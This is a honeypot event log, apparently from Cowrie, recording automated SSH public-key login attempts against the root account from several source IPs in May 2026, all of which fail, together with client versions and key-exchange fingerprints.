{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:ff:03:be:d8:48:41:bd:9d:6a:dc:40:9c:87:89:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1pkKQSZFuD+1lOi9th/3rMHUJKcc+Y/Jdx83gVqHB3qZu64ooQiD+9VwoMFqjCzuyJy5bbzLLUU1+AmrQqoF3pRI358Eu+VwD7cPmn19ywQpg10IIHXizUSJk3ckhpOtqM/6odVdpRYByK+91tj6lzJeaEAlTZt9yEh3nK4RI9351TIYkyB3/+En4zY6soYB+WQmbT8qjQf+m8+vJo08BApPnnS8Sz0HRMZYKLMaGjxkMKTdGKAaU5SvROtHbGkfmm27PPr8CzqSyXxevFsbIt0BPsjhX3ICXBaJxVp0gBPM+k/qIoKiGVXdrYV4e1rcHSuQzkEJucSzZWKUOE+aFXhvMqRPVZlER73fjj9/mx/hPa2SdLmt/RrAks/fMPSWDB99Tb0HxNZoduH0Ipw8c6uYzDknoYIFfWQwJdXitd7W33cPwRKTLMrP4qJVshgsZc9/sU1lVOt9i8fSoQMojQDEJQDyPX3ML7wq5BN83E6RqryKNSoPu4vSPJ2kz8DiAAZGzYw+EgrZcKOttxgyoF4GDNWay9ZdlsznffJncPFZoJJxcHrT5pkdJaWIuChWhr/9iFGrFo3Jq5iRkF49xflQwaA6M79X7DE5aiUxPQGAlZoLD6MlX7GSSVKP+6euzATo8luYFRcNVqdJgu450KCYcxFuqblnnd6+ezigVmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:ff:03:be:d8:48:41:bd:9d:6a:dc:40:9c:87:89:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.141788Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:ff:03:be:d8:48:41:bd:9d:6a:dc:40:9c:87:89:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1pkKQSZFuD+1lOi9th/3rMHUJKcc+Y/Jdx83gVqHB3qZu64ooQiD+9VwoMFqjCzuyJy5bbzLLUU1+AmrQqoF3pRI358Eu+VwD7cPmn19ywQpg10IIHXizUSJk3ckhpOtqM/6odVdpRYByK+91tj6lzJeaEAlTZt9yEh3nK4RI9351TIYkyB3/+En4zY6soYB+WQmbT8qjQf+m8+vJo08BApPnnS8Sz0HRMZYKLMaGjxkMKTdGKAaU5SvROtHbGkfmm27PPr8CzqSyXxevFsbIt0BPsjhX3ICXBaJxVp0gBPM+k/qIoKiGVXdrYV4e1rcHSuQzkEJucSzZWKUOE+aFXhvMqRPVZlER73fjj9/mx/hPa2SdLmt/RrAks/fMPSWDB99Tb0HxNZoduH0Ipw8c6uYzDknoYIFfWQwJdXitd7W33cPwRKTLMrP4qJVshgsZc9/sU1lVOt9i8fSoQMojQDEJQDyPX3ML7wq5BN83E6RqryKNSoPu4vSPJ2kz8DiAAZGzYw+EgrZcKOttxgyoF4GDNWay9ZdlsznffJncPFZoJJxcHrT5pkdJaWIuChWhr/9iFGrFo3Jq5iRkF49xflQwaA6M79X7DE5aiUxPQGAlZoLD6MlX7GSSVKP+6euzATo8luYFRcNVqdJgu450KCYcxFuqblnnd6+ezigVmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.146219Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:47:57:c0:1b:53:7c:b0:c5:af:a9:75:51:f6:8c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA6AB3vAlVIv0DqJTnUodLk9n3G0mQ+YIoXCPW7rMls8jdrP5I65NW/9U0DNOJabCm/wmgQHYvRB1dmv5tyE/ThyAHjCTP1usXYV0LYHRbcApPZykMtxAW/udA9KNIW7DchqWTIkpL+fRTCHdfNDqwXoOwTIActfIofKhLawwUXDAEGu1iiE3ZW2irdBgmUnmddx/AFtuV2xKOD5tqL7q/kBv/mx8NWld3ysoDvk0GeiMprTbk93I9s2w/XBoGjXReq0bNgKQLgs3VZoumFHfncXWbQI3RVAvDdPLM5GT5US6NCgt26JWe2lu4xk4h76Dxxc3trY3ZTVxc8M6mCRSt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:47:57:c0:1b:53:7c:b0:c5:af:a9:75:51:f6:8c:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.240980Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:47:57:c0:1b:53:7c:b0:c5:af:a9:75:51:f6:8c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA6AB3vAlVIv0DqJTnUodLk9n3G0mQ+YIoXCPW7rMls8jdrP5I65NW/9U0DNOJabCm/wmgQHYvRB1dmv5tyE/ThyAHjCTP1usXYV0LYHRbcApPZykMtxAW/udA9KNIW7DchqWTIkpL+fRTCHdfNDqwXoOwTIActfIofKhLawwUXDAEGu1iiE3ZW2irdBgmUnmddx/AFtuV2xKOD5tqL7q/kBv/mx8NWld3ysoDvk0GeiMprTbk93I9s2w/XBoGjXReq0bNgKQLgs3VZoumFHfncXWbQI3RVAvDdPLM5GT5US6NCgt26JWe2lu4xk4h76Dxxc3trY3ZTVxc8M6mCRSt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.244944Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:80:30:70:92:a5:a3:71:7c:24:b9:b1:c1:dc:5f:59","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP0OidTs6aiKGhIfa5TOsWPDFrMuIP1Dwn16REg0Y/WRRNJVopHr2UtcbCch6KNSMGkaT1niYRQCCUILO3jkbanFOv3wWHGuL6U5hRucs2pP/yDOFUw/x0nT4KJ4p54eNgvC79Y2AZ92jpr/sdOMMvJ0zA5wAH4aea5rJzDtugd/AAAAFQCIU9rRKdWKaQdU0bg7k5OVGD5ntwAAAIAlgOgn8dJP2LnJQhI2TL7SkZTGNg+CNdjrUDUaV31m3DnIEQzduaP3TESd02+8oUzWxrO2EDeMcGVlPRzOwJkh5tds4nXT7Dd7HI/0OhRB5IQN/08v++MtcGw19BZHkATuAQKvsBJqcAOLiQ9YzVGgTtJM9C5pZ2mdsn0dYrv4wwAAAIAM5TlHxdgh9vN+Vn9V6yBcwWc1eK2BtMCP2cQ8nGFTazQSofkvkfvjV8W4hiKUqUy8wiUeTgx3mtoOq+MsTiI3IWmX6YGSgpl2Aceq8UsTka5HQ3w0eMY39DI3CXh0zlSMQ9mceyg1b6/dXLDfWiECE1G94iL6ZfZtghCI5FvXkQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 84:80:30:70:92:a5:a3:71:7c:24:b9:b1:c1:dc:5f:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.338537Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:80:30:70:92:a5:a3:71:7c:24:b9:b1:c1:dc:5f:59","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP0OidTs6aiKGhIfa5TOsWPDFrMuIP1Dwn16REg0Y/WRRNJVopHr2UtcbCch6KNSMGkaT1niYRQCCUILO3jkbanFOv3wWHGuL6U5hRucs2pP/yDOFUw/x0nT4KJ4p54eNgvC79Y2AZ92jpr/sdOMMvJ0zA5wAH4aea5rJzDtugd/AAAAFQCIU9rRKdWKaQdU0bg7k5OVGD5ntwAAAIAlgOgn8dJP2LnJQhI2TL7SkZTGNg+CNdjrUDUaV31m3DnIEQzduaP3TESd02+8oUzWxrO2EDeMcGVlPRzOwJkh5tds4nXT7Dd7HI/0OhRB5IQN/08v++MtcGw19BZHkATuAQKvsBJqcAOLiQ9YzVGgTtJM9C5pZ2mdsn0dYrv4wwAAAIAM5TlHxdgh9vN+Vn9V6yBcwWc1eK2BtMCP2cQ8nGFTazQSofkvkfvjV8W4hiKUqUy8wiUeTgx3mtoOq+MsTiI3IWmX6YGSgpl2Aceq8UsTka5HQ3w0eMY39DI3CXh0zlSMQ9mceyg1b6/dXLDfWiECE1G94iL6ZfZtghCI5FvXkQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.343199Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:1c:8b:66:a3:63:01:10:8b:93:15:9d:5c:0e:fa:51","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKtGBtgMiTsOZKijG8zS1ZZ+5vvyjv+tZh+pf6BpA4JVHMXZxD6KiKPb8b0dwX1PO2n9EroCN9dyjh18RfNyiCrXONkhcE8CQVyaM1tObXi91mtNCBguiI+DPF6fROwm/9B21yKWLPOomd2Lfr4X8Yu5w6jQLXRVSXA+J5Oii8fRAAAAFQCM4eZPu0JFWfOKn3W2hrzQGPRjfwAAAIA7JZvCHIb1Rx4GJRC1SAJjzao0+Xa1sxmOCCvyLXgZXp5yZWKHwHx5T1cDOPcarejB01RXMq9/aWDpVSfMV6lOA15AessgfMRRl9Y/+Nk9c1r2TOwgUSZT5c0NKmovLT2jFk2qi/AKglBlIug51XyNCSZ2wlwaDy/+kEL7KwaIIAAAAIAnpX9OMm4Z9KsUS7t4pwAkr5CQbLGEBIqx2oXDu5d9eDPnK1HzAStabfI24DI//3bNVNvE9i1yyIIo3r93py44JVPrwrc3gITTyKOC9BloBYArT5CpvdGQue27wV3kIwLA96jCu6pcdUhpi9Hj/e+sF6rm++m4lOQdZgvPwt9TbQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 31:1c:8b:66:a3:63:01:10:8b:93:15:9d:5c:0e:fa:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.437957Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:1c:8b:66:a3:63:01:10:8b:93:15:9d:5c:0e:fa:51","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKtGBtgMiTsOZKijG8zS1ZZ+5vvyjv+tZh+pf6BpA4JVHMXZxD6KiKPb8b0dwX1PO2n9EroCN9dyjh18RfNyiCrXONkhcE8CQVyaM1tObXi91mtNCBguiI+DPF6fROwm/9B21yKWLPOomd2Lfr4X8Yu5w6jQLXRVSXA+J5Oii8fRAAAAFQCM4eZPu0JFWfOKn3W2hrzQGPRjfwAAAIA7JZvCHIb1Rx4GJRC1SAJjzao0+Xa1sxmOCCvyLXgZXp5yZWKHwHx5T1cDOPcarejB01RXMq9/aWDpVSfMV6lOA15AessgfMRRl9Y/+Nk9c1r2TOwgUSZT5c0NKmovLT2jFk2qi/AKglBlIug51XyNCSZ2wlwaDy/+kEL7KwaIIAAAAIAnpX9OMm4Z9KsUS7t4pwAkr5CQbLGEBIqx2oXDu5d9eDPnK1HzAStabfI24DI//3bNVNvE9i1yyIIo3r93py44JVPrwrc3gITTyKOC9BloBYArT5CpvdGQue27wV3kIwLA96jCu6pcdUhpi9Hj/e+sF6rm++m4lOQdZgvPwt9TbQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.441897Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:50:41.535259Z","src_ip":"136.243.133.118","session":"50ff2bd6f7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.157.184","src_port":52040,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbe3075848d5","protocol":"ssh","message":"New connection: 184.154.157.184:52040 (10.17.0.5:22) [session: fbe3075848d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.297972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.302642Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.333103Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:ac:d4:d5:04:30:ee:d6:8c:82:94:26:8c:73:a7:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRj3hJ5cTCQNq+AIB36dS2eqDLSx088L5vMdT/U4PKf51ClkzxVC/ApMaqf+Z9qUtTfTYoH0Z/x/eFGzM4vCGtuE+qs1h1+oeXcFAX14vInG/0p/q51s6Eq9Oy04b4JWq7j+GIKzQUp3p1xK0vZ7tG7GhvO9CMlby/HM/nWnjNgpgSoR6wtTcZ0FX7ob2yxv6L0XzR1he7QCW7lnU6IS4TrweUctwZ0/bp0oxa/cdd5AcOgYxBI8crHl+aG4a/Dvogg72khS0Enrt+eibYYCDR8Dsz4mYr31wQYmUd+0xabLj+WS5rFfTWoqFef7NeFcJIzvOw+ISZCL3tfEP+CLoT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:ac:d4:d5:04:30:ee:d6:8c:82:94:26:8c:73:a7:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.457643Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:ac:d4:d5:04:30:ee:d6:8c:82:94:26:8c:73:a7:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRj3hJ5cTCQNq+AIB36dS2eqDLSx088L5vMdT/U4PKf51ClkzxVC/ApMaqf+Z9qUtTfTYoH0Z/x/eFGzM4vCGtuE+qs1h1+oeXcFAX14vInG/0p/q51s6Eq9Oy04b4JWq7j+GIKzQUp3p1xK0vZ7tG7GhvO9CMlby/HM/nWnjNgpgSoR6wtTcZ0FX7ob2yxv6L0XzR1he7QCW7lnU6IS4TrweUctwZ0/bp0oxa/cdd5AcOgYxBI8crHl+aG4a/Dvogg72khS0Enrt+eibYYCDR8Dsz4mYr31wQYmUd+0xabLj+WS5rFfTWoqFef7NeFcJIzvOw+ISZCL3tfEP+CLoT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.461677Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:b6:74:12:33:3f:3f:52:be:6c:72:e0:b6:da:a8:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC97Yn9GLAkyN1oCOg6LPC93KjKnY7t5AWdSbMqfdBhto4TAe1afhDy8x3SgU4W1Xm2kg21RbU0MJZX30EaN3ilY/boKAN1rcRDHGc1me0rDAzK+ck/wQRt/v9Kw+zUchn+rcRTA4kUcKXSIcA1Oi38EuMWW1Efbtwibce+y286FJuMuY1ZjPPjulQqL+9sV18Bq+cohdCcIRnBVFv6v83sOyNQqAd+UVDGbcKY7rB5/QCPj5spZgwh16STli5Y6lId0cmxqQh22O6vfZ3dbSZ70ARboFBPnRSqGOYxbtpSrWLCO62kP6jhcBJd0iyYEW/m/PEfAqFJUj1ZXY226+DP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:b6:74:12:33:3f:3f:52:be:6c:72:e0:b6:da:a8:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.492597Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:b6:74:12:33:3f:3f:52:be:6c:72:e0:b6:da:a8:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC97Yn9GLAkyN1oCOg6LPC93KjKnY7t5AWdSbMqfdBhto4TAe1afhDy8x3SgU4W1Xm2kg21RbU0MJZX30EaN3ilY/boKAN1rcRDHGc1me0rDAzK+ck/wQRt/v9Kw+zUchn+rcRTA4kUcKXSIcA1Oi38EuMWW1Efbtwibce+y286FJuMuY1ZjPPjulQqL+9sV18Bq+cohdCcIRnBVFv6v83sOyNQqAd+UVDGbcKY7rB5/QCPj5spZgwh16STli5Y6lId0cmxqQh22O6vfZ3dbSZ70ARboFBPnRSqGOYxbtpSrWLCO62kP6jhcBJd0iyYEW/m/PEfAqFJUj1ZXY226+DP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.497084Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:14:0f:9c:2e:e2:5c:71:ea:34:77:26:4d:35:d2:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJza/jRNCcl+VVUNBG+lSiwxdIR1K4HSHM5GeM0lfdpFHUozsQIanQOHjS/kfIKKCzyI6RvJ4cQ5WFkLxlEhBn9lUBWMNKz3DqymCWTQ4ySFpMmBETGnU47vh1RqPExVLrCDdOArOZxaLJCjN6THbUKXG+e4IYuTShj1hdAR5VSQLyBSu6zN4MBGcLZgzdb4K+QTj7WgDSlcxu7qhveF8AYTQYdDyT+QnMP3Gsef5JdqZymAs+44of3g0PYWHhZ7kOy1NEax2QWZ7NyaSM5kNdZzALnml+XM2do45Yu2nekaqU6alRDmMUe6oCaM1K6nn/sue1xa/T7vZooz7btKYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:14:0f:9c:2e:e2:5c:71:ea:34:77:26:4d:35:d2:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.531507Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:14:0f:9c:2e:e2:5c:71:ea:34:77:26:4d:35:d2:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJza/jRNCcl+VVUNBG+lSiwxdIR1K4HSHM5GeM0lfdpFHUozsQIanQOHjS/kfIKKCzyI6RvJ4cQ5WFkLxlEhBn9lUBWMNKz3DqymCWTQ4ySFpMmBETGnU47vh1RqPExVLrCDdOArOZxaLJCjN6THbUKXG+e4IYuTShj1hdAR5VSQLyBSu6zN4MBGcLZgzdb4K+QTj7WgDSlcxu7qhveF8AYTQYdDyT+QnMP3Gsef5JdqZymAs+44of3g0PYWHhZ7kOy1NEax2QWZ7NyaSM5kNdZzALnml+XM2do45Yu2nekaqU6alRDmMUe6oCaM1K6nn/sue1xa/T7vZooz7btKYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.535328Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:8a:16:ea:5a:cf:d8:6f:4a:be:26:b1:93:f6:fc:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAuqrlsj+lXmMTr+quijDBs2qJNMrwjblYqDFxgsxHzwdza1iqnBGmaHhDBPT4yCA17ZF5dzsWISMMffb/vnuGEdGvFTjCURCpFVI26fIaxBPf0OCxUKvjWhXSvzrDKJZwAaehKicrI8EI+Z9MH5bf4636hSu+r1sH0wsYvSyLtuE4zfVKInOGBL3gkIjKveYZ0A5BIxyC5pzXXxagrEOXnQ9arNb+ohcduTnMCdFYnDk7bssA9q9czubvbq9SK8aKZQa+UVuW8Toj1BAalubT62KYdgyEYESRMsgKR5Se3hx+Pki5F07CkxGMfR2Fks5JUgq+OYiP2+fbMqqlOvO5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:8a:16:ea:5a:cf:d8:6f:4a:be:26:b1:93:f6:fc:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.566998Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:8a:16:ea:5a:cf:d8:6f:4a:be:26:b1:93:f6:fc:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAuqrlsj+lXmMTr+quijDBs2qJNMrwjblYqDFxgsxHzwdza1iqnBGmaHhDBPT4yCA17ZF5dzsWISMMffb/vnuGEdGvFTjCURCpFVI26fIaxBPf0OCxUKvjWhXSvzrDKJZwAaehKicrI8EI+Z9MH5bf4636hSu+r1sH0wsYvSyLtuE4zfVKInOGBL3gkIjKveYZ0A5BIxyC5pzXXxagrEOXnQ9arNb+ohcduTnMCdFYnDk7bssA9q9czubvbq9SK8aKZQa+UVuW8Toj1BAalubT62KYdgyEYESRMsgKR5Se3hx+Pki5F07CkxGMfR2Fks5JUgq+OYiP2+fbMqqlOvO5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.570934Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:bb:6d:07:b6:5c:46:db:38:35:43:48:f2:dd:b3:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRK1hrKHZlX/G1UZTe7eyaCwcj/s9P0UmY38dc5yuhLIViFzTiCITrNO0WpSqwfLTMQI3AML6GED/dvfq/GqrN/Hp9BpBk3hONvMOECZiVsqHXQ+qy9eFrHT8LBcFfK/4NVD9TvxdFul4lx8H3iltDKlDcg80nvBd8JkbSSzM8BiRY00ECj9//JEelLnlx92ptJ61oHa6YkjiQzzqpg6j20bGUA75pI9cgN8kmxyotsl7syNbM6E6TPUmuhW3+zFxbZgmhNQpA3n4kAie9UJeEcEoRYJjOZ78Sr824JzXlAAGZLQMEjYcO87F+jzDBK1RPZ+ymUCNzTWc7CQnf9Cyh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:bb:6d:07:b6:5c:46:db:38:35:43:48:f2:dd:b3:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.604282Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:bb:6d:07:b6:5c:46:db:38:35:43:48:f2:dd:b3:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRK1hrKHZlX/G1UZTe7eyaCwcj/s9P0UmY38dc5yuhLIViFzTiCITrNO0WpSqwfLTMQI3AML6GED/dvfq/GqrN/Hp9BpBk3hONvMOECZiVsqHXQ+qy9eFrHT8LBcFfK/4NVD9TvxdFul4lx8H3iltDKlDcg80nvBd8JkbSSzM8BiRY00ECj9//JEelLnlx92ptJ61oHa6YkjiQzzqpg6j20bGUA75pI9cgN8kmxyotsl7syNbM6E6TPUmuhW3+zFxbZgmhNQpA3n4kAie9UJeEcEoRYJjOZ78Sr824JzXlAAGZLQMEjYcO87F+jzDBK1RPZ+ymUCNzTWc7CQnf9Cyh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.608076Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:17.640108Z","src_ip":"184.154.157.184","session":"fbe3075848d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158381462097,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:18.272863Z","src_ip":"49.88.156.34","session":"839b47c02cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57406,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4e009a1cfa6","protocol":"ssh","message":"New connection: 103.15.226.202:57406 (10.17.0.5:22) [session: f4e009a1cfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:22.713827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:51:22.718755Z","src_ip":"103.15.226.202","session":"f4e009a1cfa6","protocol":"ssh"}
